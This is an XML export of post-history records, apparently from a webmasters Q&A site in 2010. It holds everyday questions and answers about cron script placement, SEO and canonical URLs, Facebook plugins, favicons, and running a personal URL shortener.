  <row Id="11177" PostHistoryTypeId="2" PostId="5600" RevisionGUID="222d8778-a182-47c5-a8a9-e860a440d186" CreationDate="2010-11-18T10:23:21.333" UserId="3175" Text="I have a website which I run a PHP script for updating its Database.&#xD;&#xA;What is considered to be an acceptable location on the server to store such scripts? Obviously only the root (running a cronjob to start the script) should have access to it.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="11178" PostHistoryTypeId="1" PostId="5600" RevisionGUID="222d8778-a182-47c5-a8a9-e860a440d186" CreationDate="2010-11-18T10:23:21.333" UserId="3175" Text="Safe directory for cron job PHP scripts" />
  <row Id="11179" PostHistoryTypeId="3" PostId="5600" RevisionGUID="222d8778-a182-47c5-a8a9-e860a440d186" CreationDate="2010-11-18T10:23:21.333" UserId="3175" Text="&lt;php&gt;&lt;linux&gt;" />
  <row Id="11185" PostHistoryTypeId="2" PostId="5604" RevisionGUID="1ad599d8-2fb3-4679-982a-40d5863a2c47" CreationDate="2010-11-18T11:21:14.317" UserId="1703" Text="If you are worried about access to this script you can add a random string to the command line argument of the cron job string e.g. &#xD;&#xA;&#xD;&#xA;    php /path/to/script.php random_string&#xD;&#xA;&#xD;&#xA;Then in your script.php you check argv0 to see if that string is exists and is correct before running the rest of your code.&#xD;&#xA;&#xD;&#xA;Another way is to put the cron script in a folder and restrict its access using a .htaccess file. Here is an answer on how to do this: http://serverfault.com/questions/92192/apache-htaccess-file-to-restrict-access-to-all-files-unless-local-ip" />
  <row Id="11186" PostHistoryTypeId="2" PostId="5605" RevisionGUID="4add1280-e94f-4ce6-a7e3-45fc44ec3ea4" CreationDate="2010-11-18T12:18:00.563" UserId="2748" Text="Just to make sure .... disable all the start ups and reinstall MAMP.... Go to services and try to enable mysql from there..." />
  <row Id="11187" PostHistoryTypeId="2" PostId="5606" RevisionGUID="1d09388a-f206-4a6c-9f8e-6ab32af585e3" CreationDate="2010-11-18T12:29:59.650" UserId="2727" Text="I'd see if Skype is blocking your port.  I've had similar problems in the past and found if Skype is open before I launch my server, it won't launch properly.  IF Skype is the culprit, simply close Skype, launch your server, and then open Skype once your server is online." />
  <row Id="11188" PostHistoryTypeId="2" PostId="5607" RevisionGUID="764cf992-b40f-4d61-939f-9b3c6f440e07" CreationDate="2010-11-18T12:36:42.893" UserId="1953" Text="I use sphinx. It is built on Lucene as is Solr so it's got all the powerful options you could ever want, but also has plugins for popular open source cms' such as wordpress or drupal to get you going. There are also plugins for popular frameworks such as RoR or symfony if you've built the site using one of those." />
  <row Id="11189" PostHistoryTypeId="10" PostId="5599" RevisionGUID="38356348-fd39-4b5d-a0d1-92cae67ac26b" CreationDate="2010-11-18T12:51:19.000" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11190" PostHistoryTypeId="18" PostId="5575" RevisionGUID="97f6088c-4e9c-4596-898e-678cabf5c16c" CreationDate="2010-11-18T12:56:07.313" UserId="1253" Comment="to http://webmasters.stackexchange.com/questions/5552/how-do-i-know-whether-a-site-is-a-daughter-site-of-another" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11191" PostHistoryTypeId="18" PostId="5576" RevisionGUID="97f6088c-4e9c-4596-898e-678cabf5c16c" CreationDate="2010-11-18T12:56:07.313" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/5575/how-do-i-know-whether-a-site-is-a-daughter-site-of-another" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11192" PostHistoryTypeId="18" PostId="5552" RevisionGUID="97f6088c-4e9c-4596-898e-678cabf5c16c" CreationDate="2010-11-18T12:56:07.313" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/5575/how-do-i-know-whether-a-site-is-a-daughter-site-of-another" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11193" PostHistoryTypeId="14" PostId="5575" RevisionGUID="3f4053c2-cf26-42e8-904a-0b25b2dbea61" CreationDate="2010-11-18T12:56:07.987" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11197" PostHistoryTypeId="2" PostId="5608" RevisionGUID="bb2816cf-62f4-4321-a813-7276b6f2a2d7" CreationDate="2010-11-18T13:01:57.407" UserId="3309" Text="If I use JavaScript + jQuery, for example, does links inserted in $(document).ready() will be available for crawling? How can I insert crawlable links in JavaScript?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Almog" />
  <row Id="11198" PostHistoryTypeId="1" PostId="5608" RevisionGUID="bb2816cf-62f4-4321-a813-7276b6f2a2d7" CreationDate="2010-11-18T13:01:57.407" UserId="3309" Text="How can I create links in javascript that are crawlable by search engines?" />
  <row Id="11199" PostHistoryTypeId="3" PostId="5608" RevisionGUID="bb2816cf-62f4-4321-a813-7276b6f2a2d7" CreationDate="2010-11-18T13:01:57.407" UserId="3309" Text="&lt;seo&gt;&lt;javascript&gt;&lt;links&gt;&lt;jquery&gt;" />
  <row Id="11200" PostHistoryTypeId="2" PostId="5609" RevisionGUID="3fdaf38d-607d-4417-9da1-99151bc3b90d" CreationDate="2010-11-18T13:22:29.690" UserId="233" Text="No, links inserted with Javascript will not be crawlable. You are better using a server-side solution to add links, i.e. output `&lt;a href=&quot;link&quot;&gt;etc&lt;/a&gt;` direct in your HTML.&#xD;&#xA;&#xD;&#xA;There is probably a better way to do what you are doing. If you provide more details (i.e. why you are using Javascript to add links), we may be able to offer better guidance." />
  <row Id="11201" PostHistoryTypeId="2" PostId="5610" RevisionGUID="c7318879-2e88-43a8-a1e9-1bd279e66b87" CreationDate="2010-11-18T08:25:04.393" UserDisplayName="mack nordstrum" Text="What are the advantages of adding a like button specifcally for  your website if you already have a facebook page?&#xD;&#xA;&#xD;&#xA;What i mean is say you have a facebook page for your product, and you include a like button on your website for that facebook page. Is there much point adding a like button specifically for the website as well?&#xD;&#xA;&#xD;&#xA;The only advantage i can think of is if users like both the page and the website, it will generate an extra message in their friends news feeds, so help publicise your product a bit more.&#xD;&#xA;&#xD;&#xA;I guess another advantage might be if facebook shuts down your facebook page for whatever reason, at least you should still have the likes for the website.&#xD;&#xA;&#xD;&#xA;Anyone got any other good reasons for it?" />
  <row Id="11202" PostHistoryTypeId="1" PostId="5610" RevisionGUID="c7318879-2e88-43a8-a1e9-1bd279e66b87" CreationDate="2010-11-18T08:25:04.393" UserDisplayName="mack nordstrum" Text="What are the advantages of adding a like button specifcally for  your website if you already have a facebook page?" />
  <row Id="11203" PostHistoryTypeId="3" PostId="5610" RevisionGUID="c7318879-2e88-43a8-a1e9-1bd279e66b87" CreationDate="2010-11-18T08:25:04.393" UserDisplayName="mack nordstrum" Text="&lt;facebook&gt;&lt;connections&gt;" />
  <row Id="11204" PostHistoryTypeId="17" PostId="5610" RevisionGUID="fc082c17-e07d-40e4-bacd-f2ac9df9489c" CreationDate="2010-11-18T13:28:34.180" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9416/what-are-the-advantages-of-adding-a-like-button-specifcally-for-your-website-if" Text="" />
  <row Id="11205" PostHistoryTypeId="2" PostId="5611" RevisionGUID="aa2bfd36-3e12-43d1-a256-7807e2ab3a67" CreationDate="2010-11-18T13:30:34.990" UserId="233" Text="It won't be a matter of changing &quot;apples&quot; to &quot;oranges&quot; and suddenly ranking well. You will need to repeat some of the work you did already to rank for oranges instead of apples.&#xD;&#xA;&#xD;&#xA;But having an established domain with a close theme is a great headstart. It will be much easier than associating a new domain with oranges from scratch.&#xD;&#xA;&#xD;&#xA;I would agree with RDL and recommend using 301 Redirects where appropriate. It won't be appropriate in all cases but it's best to try and keep value of in-links (otherwise you *are* pretty much starting from scratch)." />
  <row Id="11206" PostHistoryTypeId="2" PostId="5612" RevisionGUID="1bd3ba6d-d78d-46e2-9a8a-6e91c8114e07" CreationDate="2010-11-18T13:36:20.557" UserId="2650" Text="&#xD;&#xA;This is the same question as http://stackoverflow.com/questions/4142597/share-on-facebook-does-not-show-thumbnail-images&#xD;&#xA;&#xD;&#xA;I have a PHP application which has a &quot;Share on Facebook&quot; button that,&#xD;&#xA;&#xD;&#xA;- On the development server shows the thumbnail images correctly and allows the user to select between them&#xD;&#xA;&#xD;&#xA;- On the live server, it does NOT show the thumbnail images at all.&#xD;&#xA;&#xD;&#xA;The relevant portion of the .htaccess file is:&#xD;&#xA;&#xD;&#xA;    # Set up caching on media files for 2 days&#xD;&#xA;    &lt;FilesMatch &quot;\.(gif|jpg|jpeg|png|flv)$&quot;&gt;&#xD;&#xA;    ExpiresDefault A172800&#xD;&#xA;    Header append Cache-Control &quot;public&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;I'm using the exact same set of php files and .htaccess, but the server configuration is different.&#xD;&#xA;&#xD;&#xA;What could be causing this? Note that the text appears fine.&#xD;&#xA;" />
  <row Id="11207" PostHistoryTypeId="1" PostId="5612" RevisionGUID="1bd3ba6d-d78d-46e2-9a8a-6e91c8114e07" CreationDate="2010-11-18T13:36:20.557" UserId="2650" Text="Share on Facebook does not show thumbnail images " />
  <row Id="11208" PostHistoryTypeId="3" PostId="5612" RevisionGUID="1bd3ba6d-d78d-46e2-9a8a-6e91c8114e07" CreationDate="2010-11-18T13:36:20.557" UserId="2650" Text="&lt;php&gt;&lt;htaccess&gt;&lt;images&gt;&lt;facebook&gt;" />
  <row Id="11210" PostHistoryTypeId="5" PostId="5612" RevisionGUID="302b9b7f-81a5-48ae-bcb0-8fa36449164e" CreationDate="2010-11-18T13:47:03.400" UserId="2650" Comment="added 334 characters in body" Text="This is the same question as http://stackoverflow.com/questions/4142597/share-on-facebook-does-not-show-thumbnail-images&#xD;&#xA;&#xD;&#xA;I have a PHP application which has a &quot;Share on Facebook&quot; button that,&#xD;&#xA;&#xD;&#xA;- On the development server shows the thumbnail images correctly and allows the user to select between them&#xD;&#xA;&#xD;&#xA;- On the live server, it does NOT show the thumbnail images at all.&#xD;&#xA;&#xD;&#xA;The relevant portion of the .htaccess file is:&#xD;&#xA;&#xD;&#xA;    # Set up caching on media files for 2 days&#xD;&#xA;    &lt;FilesMatch &quot;\.(gif|jpg|jpeg|png|flv)$&quot;&gt;&#xD;&#xA;    ExpiresDefault A172800&#xD;&#xA;    Header append Cache-Control &quot;public&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;I'm using the exact same set of php files and .htaccess, but the server configuration is different.&#xD;&#xA;&#xD;&#xA;What could be causing this? Note that the text appears fine.&#xD;&#xA;&#xD;&#xA;**Edit1**&#xD;&#xA;&#xD;&#xA;We are also doing some URL rewriting related to images in the .htaccess (on both servers):&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    RewriteRule ^.*/content/image/(.*)$ content/image/$1 [L]&#xD;&#xA;    ...&#xD;&#xA;    RewriteRule ^.*/images/(.*)$ images/$1 [L]&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Would that be somehow making a difference? Images appear fine all throughout the site.&#xD;&#xA;" />
  <row Id="11211" PostHistoryTypeId="5" PostId="5609" RevisionGUID="a764b7fb-8bce-46f8-b5b8-71ec97bb1dbb" CreationDate="2010-11-18T13:49:13.200" UserId="233" Comment="added 459 characters in body" Text="No, links inserted with Javascript will not be crawlable. You are better using a server-side solution to add links, i.e. output `&lt;a href=&quot;link&quot;&gt;etc&lt;/a&gt;` direct in your HTML.&#xD;&#xA;&#xD;&#xA;Having said that, search engines are always improving. Google recently announced major improvements to the crawling of Flash files, so it's not impossible that some Javascript links could be crawled. It does depend on the situation. Something simple like `onclick=&quot;window.location='http://etc'&quot;` would probably be fine. &#xD;&#xA;&#xD;&#xA;There is probably a better way to do what you are doing. If you provide more details (i.e. why you are using Javascript to add links), we may be able to offer better guidance. Perhaps you can output links in a hidden layer, and show them when needed? That way the links are in the raw HTML and will be crawled." />
  <row Id="11212" PostHistoryTypeId="5" PostId="5612" RevisionGUID="afd536f0-e59f-4df8-841b-689a9ded345e" CreationDate="2010-11-18T14:30:23.970" UserId="2650" Comment="added 8 characters in body" Text="I have a PHP application which has a &quot;Share on Facebook&quot; button that,&#xD;&#xA;&#xD;&#xA;- On the development server shows the thumbnail images correctly and allows the user to select between them&#xD;&#xA;&#xD;&#xA;- On the live server, it does NOT show the thumbnail images at all.&#xD;&#xA;&#xD;&#xA;The relevant portion of the .htaccess file is:&#xD;&#xA;&#xD;&#xA;    # Set up caching on media files for 2 days&#xD;&#xA;    &lt;FilesMatch &quot;\.(gif|jpg|jpeg|png|flv)$&quot;&gt;&#xD;&#xA;    ExpiresDefault A172800&#xD;&#xA;    Header append Cache-Control &quot;public&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;I'm using the exact same set of php files and .htaccess, but the server configuration is different.&#xD;&#xA;&#xD;&#xA;What could be causing this? Note that the text appears fine.&#xD;&#xA;&#xD;&#xA;**Edit1**&#xD;&#xA;&#xD;&#xA;We are also doing some URL rewriting related to images in the .htaccess (on both servers):&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    RewriteRule ^.*/content/image/(.*)$ content/image/$1 [L]&#xD;&#xA;    ...&#xD;&#xA;    RewriteRule ^.*/images/(.*)$ images/$1 [L]&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Would that be somehow making a difference? Images appear fine all throughout the site.&#xD;&#xA;&#xD;&#xA;(I posted this question earlier as http://stackoverflow.com/questions/4142597/share-on-facebook-does-not-show-thumbnail-images)&#xD;&#xA;)" />
  <row Id="11213" PostHistoryTypeId="2" PostId="5614" RevisionGUID="4cd2d34a-b6bb-430f-a870-6cd2f27a198c" CreationDate="2010-11-18T15:05:31.917" UserDisplayName="emir" Text="I think my web site is good for advertising books. It contains programming tutorials in Turkish. However there no good ads program in Turkey and Turkish users can't buy books on amazon etc. So is there a nice book ads program that pays per click?" />
  <row Id="11214" PostHistoryTypeId="1" PostId="5614" RevisionGUID="4cd2d34a-b6bb-430f-a870-6cd2f27a198c" CreationDate="2010-11-18T15:05:31.917" UserDisplayName="emir" Text="Best pay per click book advertising" />
  <row Id="11215" PostHistoryTypeId="3" PostId="5614" RevisionGUID="4cd2d34a-b6bb-430f-a870-6cd2f27a198c" CreationDate="2010-11-18T15:05:31.917" UserDisplayName="emir" Text="&lt;advertising&gt;" />
  <row Id="11216" PostHistoryTypeId="2" PostId="5615" RevisionGUID="4965510d-07fa-440d-9354-8b7f002e4b9b" CreationDate="2010-11-18T15:21:29.237" UserId="3111" Text="How about weather in the city.&#xD;&#xA;&#xD;&#xA;Or if it has an ocean, ocean conditions, e.g. water is warm today, go swim!" />
  <row Id="11217" PostHistoryTypeId="2" PostId="5616" RevisionGUID="d1cd66d0-f81d-4006-bf30-0e31ce37bae2" CreationDate="2010-11-18T14:57:33.653" UserId="1993" Text="I have a favicon that shows up fine in Firefox 3.6.12 and Chrome 5.0.375.70. But in Internet Explorer 7.0.5730.13 it looks terrible. It also looks bad in Windows Explorer (XP).&#xD;&#xA;&#xD;&#xA;(Hmmm, I can't upload it - perhaps .ico format is blocked?)&#xD;&#xA;&#xD;&#xA;(It's not IE8 but there is no other tag)" />
  <row Id="11218" PostHistoryTypeId="1" PostId="5616" RevisionGUID="d1cd66d0-f81d-4006-bf30-0e31ce37bae2" CreationDate="2010-11-18T14:57:33.653" UserId="1993" Text="Why does my favicon look terrible in Internet Explorer 7?" />
  <row Id="11219" PostHistoryTypeId="3" PostId="5616" RevisionGUID="d1cd66d0-f81d-4006-bf30-0e31ce37bae2" CreationDate="2010-11-18T14:57:33.653" UserId="1993" Text="&lt;favicon&gt;&lt;internet-explorer-7&gt;" />
  <row Id="11220" PostHistoryTypeId="17" PostId="5616" RevisionGUID="0cf2d4b0-543f-481d-8ba1-c1ad665d7826" CreationDate="2010-11-18T15:30:14.923" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9427/why-does-my-favicon-look-terrible-in-internet-explorer-7" Text="" />
  <row Id="11221" PostHistoryTypeId="2" PostId="5617" RevisionGUID="ad78426a-fdcc-4c35-a2bf-7631b3c911a6" CreationDate="2010-11-18T15:50:23.440" UserId="3265" Text="I have a brilliant designer friend with great design skills and a portfolio you can look over. He does HTML/CSS and Wordpress themes usually but I would be able to convert his design into a modern Drupal theme for you. &#xD;&#xA;&#xD;&#xA;Contact me at authentictech (at) gmail com if you like and I can give you more details. We're both based in the UK and work conscientiously and professionally.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="11222" PostHistoryTypeId="2" PostId="5618" RevisionGUID="aa9ad58b-a213-4843-bc28-83ef23c99573" CreationDate="2010-11-18T16:02:46.930" UserId="141" Text="a few months ago we set up canonical URLs for many page types such as http://www.wowhead.com/item=50362/deathbringers-will. This worked very well and google picked them all up.&#xD;&#xA;&#xD;&#xA;A few days ago I implemented the same thing for blog posts but mysteriously it's not working.&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;/blog=174055/cataclysm-beta-patch-build-13316&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This blog post was written **after** my change but [google][1] shows `www.wowhead.com/blog=174055` as the URL; any reason why? I can't really figure it out, the content of the pages is the same, and it's not really any different than what we did with /item and that worked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?hl=en&amp;source=hp&amp;biw=1920&amp;bih=871&amp;q=Cataclysm+Beta+Patch+%28Build+13316%29&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=" />
  <row Id="11223" PostHistoryTypeId="1" PostId="5618" RevisionGUID="aa9ad58b-a213-4843-bc28-83ef23c99573" CreationDate="2010-11-18T16:02:46.930" UserId="141" Text="Google not following &quot;canonical&quot; directive for a certain type of URLs" />
  <row Id="11224" PostHistoryTypeId="3" PostId="5618" RevisionGUID="aa9ad58b-a213-4843-bc28-83ef23c99573" CreationDate="2010-11-18T16:02:46.930" UserId="141" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="11228" PostHistoryTypeId="2" PostId="5619" RevisionGUID="9eea04dc-9912-4c90-bed4-3d921f08d5b5" CreationDate="2010-11-18T16:30:02.057" UserId="26" Text="I am tired of using external URL shorteners, my favorite &quot;tr.im&quot; went out of business. I know there are some that will do reporting for me, but I want to run my own, so I can see the usage myself, for my own, not for public use.&#xD;&#xA;&#xD;&#xA;Are there software packages that serve this niche? I don't necessarily want to allow third parties to use it, but I would like it to integrate into other software, like some Twitter tools or WordPress, if that's a possibility rather than always having to go to the site to log in.&#xD;&#xA;&#xD;&#xA;What are my options for tools for running my own shortener? Assume I've done the easy part, buying a short domain.&#xD;&#xA;&#xD;&#xA;And any other comments or tips on what makes a good shortener are welcome, but optional." />
  <row Id="11229" PostHistoryTypeId="1" PostId="5619" RevisionGUID="9eea04dc-9912-4c90-bed4-3d921f08d5b5" CreationDate="2010-11-18T16:30:02.057" UserId="26" Text="I want to run a URL shortener for my own usage, what do I need to do?" />
  <row Id="11230" PostHistoryTypeId="3" PostId="5619" RevisionGUID="9eea04dc-9912-4c90-bed4-3d921f08d5b5" CreationDate="2010-11-18T16:30:02.057" UserId="26" Text="&lt;url&gt;&lt;clean-urls&gt;&lt;url-shorteners&gt;" />
  <row Id="11231" PostHistoryTypeId="2" PostId="5620" RevisionGUID="3fad47e1-31ca-47f4-b1a4-efe0a4ca6d18" CreationDate="2010-11-18T16:36:50.630" UserId="26" Text="Your root-relative `canonical` URL looks funny to me. I'm inclined to include your domain name there. [Google says][1]:&#xD;&#xA;&#xD;&#xA;&gt; The `rel=&quot;canonical&quot;` attribute can be&#xD;&#xA;&gt; used with relative or absolute links,&#xD;&#xA;&gt; but we recommend using absolute links&#xD;&#xA;&gt; to minimize potential confusion or&#xD;&#xA;&gt; difficulties. If your document&#xD;&#xA;&gt; specifies a base link, any relative&#xD;&#xA;&gt; links will be relative to that base&#xD;&#xA;&gt; link.&#xD;&#xA;&#xD;&#xA;I would be hesitant to judge how Google is indexing until a good amount of time has passed. How old is that url?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394" />
  <row Id="11235" PostHistoryTypeId="2" PostId="5622" RevisionGUID="82fa90d6-dafb-4794-b139-cacbad431e9b" CreationDate="2010-11-18T16:45:19.823" UserId="26" Text="How about you take a look at [List of relational database management systems][1]. Most of the RDBMS systems there have what you seek, including basic user management system for access to the database. Your choice will be based on your specific requirements. Do you have staff to run it, hardware to run it, financial resources to pay requisite licensing fees. What other technologies do you have in-house that will support or not support your choice. If you're a scientific organization, with, say, a lot of Linux or Sun machines, I'd say MySQL or Oracle are better bets. If you are heavily corporate and have a lot of Microsoft infrastructure, then perhaps SQL Server is what you'd consider.&#xD;&#xA;&#xD;&#xA;Your inclusion of &quot;windows application&quot; is peculiar, because typically an application (web or windows) will abstract away the database to help the user solve the problem at hand.&#xD;&#xA;&#xD;&#xA;It feels like your question is a bit too vague for me to answer effectively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_relational_database_management_systems" />
  <row Id="11239" PostHistoryTypeId="2" PostId="5624" RevisionGUID="ec99a880-3ebe-489f-b0bc-df1316c77bce" CreationDate="2010-11-18T16:51:33.700" UserId="108" Text="Setting up a URL shortener isn't really that hard if it is for your use only.  In order to integrate with with Twitter and WordPress you will have to develop you own API and plugins and that is the difficult or at least time consuming part.  I think the basic steps would be.&#xD;&#xA;&#xD;&#xA; 1. Buy a short URL and get hosting for it.&#xD;&#xA; 2. Create a redirection engine in the language of your choice.  This would be a piece of code that takes a long URL and creates a short one by generating a 4-6 digit code.  Since it is for your own use it could be as simple as creating a table that has the long URL and PK that is an identity column.  You can then use the ID column as your short URL.  Meaning if your first entry is www.example.com and your short url is ex.amp then ex.amp/1 would redirect to www.example.com.&#xD;&#xA; 3. Build an API using REST or SOAP that allows you to securely add a new entry and retrieve the generated Short URL.&#xD;&#xA; 4. Code the tools for Twitter, Wordpress etc.&#xD;&#xA;&#xD;&#xA;A side note, is somewhere in step 2 you would need to create your analytics code to track all the information about who hit your links." />
  <row Id="11243" PostHistoryTypeId="2" PostId="5625" RevisionGUID="e0e77877-66a4-4f8f-9ebc-7e13e518aa16" CreationDate="2010-11-18T17:05:50.907" UserId="3316" Text="Just adding this for your consideration.  I use this package and like it a lot &gt; http://yourls.org/&#xD;&#xA;&#xD;&#xA;Cheerio." />
  <row Id="11244" PostHistoryTypeId="2" PostId="5626" RevisionGUID="69ef89f6-0329-4875-b15b-bcd7a2a3388e" CreationDate="2010-11-18T17:07:23.803" UserId="108" Text="Check out this question on Stack Overflow, http://stackoverflow.com/questions/4031718/favicon-is-pixelated-in-ie.  &#xD;&#xA;&#xD;&#xA;It looks like 32x32 pixel favicons look much better in IE7 than 16x16.  The only down side is Chrome only supports 16x16.&#xD;&#xA;&#xD;&#xA;Here is an article going in depth into how favicons work and what your options are, http://perishablepress.com/press/2007/10/17/everything-you-ever-wanted-to-know-about-favicons/." />
  <row Id="11245" PostHistoryTypeId="5" PostId="5451" RevisionGUID="797141da-b509-4881-90e4-295110512f02" CreationDate="2010-11-18T17:17:08.030" UserId="1757" Comment="truncated for easier reading" Text="Pretty simple, you tell me, what is easier to read: `ABCDEFGHIJKLMNOP...Z` or&#xD;&#xA;&#xD;&#xA;    A&#xD;&#xA;    B&#xD;&#xA;    C&#xD;&#xA;    D&#xD;&#xA;    E&#xD;&#xA;    F&#xD;&#xA;    G&#xD;&#xA;    H&#xD;&#xA;    I&#xD;&#xA;    J&#xD;&#xA;    K&#xD;&#xA;    L&#xD;&#xA;    M&#xD;&#xA;    N&#xD;&#xA;    O&#xD;&#xA;    P&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    Z&#xD;&#xA;&#xD;&#xA;When you're reading it, think about how your eye moves. With the first example, it's - - - etc. With the second example, it's Z Z Z etc; meaning your eye moves in a Z pattern. With the Z pattern your eye has to think more about the next point of information, than with the first. The closer a piece of information is to the last piece of information the easier it is to use. The more compact information is the better, you can always add space, but some information will only compact so far. For example, I can add more space like this, but it's still shorter in length if your measure the longest end to example 2: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z&#xD;&#xA;&#xD;&#xA;I'm sure someone will post research or something, might even say I'm wrong, but fact is the my logic is simple enough that I understand it, it makes sense to me, and I don't need fancy report to tell me that it's right, or wrong... because I'm guessing that fancy report won't make sense, and is just a sample of data based on the structure of the test given...&#xD;&#xA;&#xD;&#xA;So, what do you think? " />
  <row Id="11249" PostHistoryTypeId="2" PostId="5628" RevisionGUID="f6609324-1cf1-4e63-96ab-bc818e4ea3be" CreationDate="2010-11-18T17:48:40.243" UserId="2332" Text="If I have a bunch of existing podcast mp3's, with no intro and outro, can I do something simple to add a stock intro and outro (supplied as .mp3's) to each podcast?" />
  <row Id="11250" PostHistoryTypeId="1" PostId="5628" RevisionGUID="f6609324-1cf1-4e63-96ab-bc818e4ea3be" CreationDate="2010-11-18T17:48:40.243" UserId="2332" Text="add stock intro and outro to a set of .mp3's?" />
  <row Id="11251" PostHistoryTypeId="3" PostId="5628" RevisionGUID="f6609324-1cf1-4e63-96ab-bc818e4ea3be" CreationDate="2010-11-18T17:48:40.243" UserId="2332" Text="&lt;podcast&gt;" />
  <row Id="11252" PostHistoryTypeId="2" PostId="5629" RevisionGUID="862a3e5b-14b9-4704-b7af-d4109534c2e3" CreationDate="2010-11-18T18:01:50.693" UserId="2821" Text="You can try out [YOURLS][1]. It is PHP-based and use MySQL so it should work on whatever host you're using. The nice thing is that it's GPL licensed. It looks great and the stats are very helpful.&#xD;&#xA;&#xD;&#xA;  [1]: http://yourls.org/" />
  <row Id="11256" PostHistoryTypeId="2" PostId="5630" RevisionGUID="34a0b301-d7a1-4807-a012-17f860649aa0" CreationDate="2010-11-18T18:27:36.277" UserId="2907" Text="As someone else pointed out... ajax calls are just receivers of $_GET or $_POST, so my approach has always been to just treat them as I would any action page and filter/sanitize the input. If you have a small variation of what you expect like a month for example, and you know it's always in &quot;Jan, Feb, Mar...&quot; format, you could set an array of the expected values and filter against it. Trap anything that doesn't match and optionally throw something back like &quot;Bzzt... thanks for playing...&quot;&#xD;&#xA;&#xD;&#xA;I can't think of an example where my Ajax script would need to be any more secure than a form submission.&#xD;&#xA;&#xD;&#xA;HTH" />
  <row Id="11257" PostHistoryTypeId="2" PostId="5631" RevisionGUID="c18a3872-3979-44a9-9071-aaa7104cbc32" CreationDate="2010-11-18T18:49:58.233" UserDisplayName="beytz" Text="I installed Facebook's social plugin - Comments.&#xD;&#xA;I thought that it would encourage people to comment on my articles and by doing that I will get (at the end) more traffic.&#xD;&#xA;&#xD;&#xA;After installing it to my site's articles, I found my self in a problem.&#xD;&#xA;How do I follow up on the comments made in my site?&#xD;&#xA;&#xD;&#xA;I have many articles and I don't understand, as a site owner, where do I see notifications on new comments. I need to make sure that I'm not spammed or that I need to comment on someone's question.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="11258" PostHistoryTypeId="1" PostId="5631" RevisionGUID="c18a3872-3979-44a9-9071-aaa7104cbc32" CreationDate="2010-11-18T18:49:58.233" UserDisplayName="beytz" Text="How do I follow up on the comments made in my site using Facebook comments plugin?" />
  <row Id="11259" PostHistoryTypeId="3" PostId="5631" RevisionGUID="c18a3872-3979-44a9-9071-aaa7104cbc32" CreationDate="2010-11-18T18:49:58.233" UserDisplayName="beytz" Text="&lt;seo&gt;&lt;facebook&gt;" />
  <row Id="11260" PostHistoryTypeId="5" PostId="2997" RevisionGUID="c3024da9-448c-465d-a1c4-5d07fa2b2e65" CreationDate="2010-11-18T19:02:51.197" UserId="1429" Comment="deleted 5 characters in body" Text="Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months.&#xD;&#xA;For some of these sites I had also to resubmit them again in order to see them listed.&#xD;&#xA;&#xD;&#xA;My question is: in case site A does not get listed in DMOZ after the 1st submission, do you know how long should I wait before submitting site A again? I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person.&#xD;&#xA;&#xD;&#xA;Maybe some of you was/is a DMOZ editor and knows the answer.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE: Thanks to *danlefree*, I should have explained in my question that I know on DMOZ guideline they say to [submit site only once][1].&#xD;&#xA;&#xD;&#xA;But by following slavishly DMOZ guideline: **a site that was not included on 1st attempt should not be submitted again for the rest of your life.**&#xD;&#xA;&#xD;&#xA;I think it's common sense to try to understand what was wrong with the not included site, try to fix it and **after some time** try to submit the site again to DMOZ for inclusion.&#xD;&#xA;&#xD;&#xA;My question is more about what you percieve to be the right time to wait before submitting again a site to DMOZ.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/add.html" />
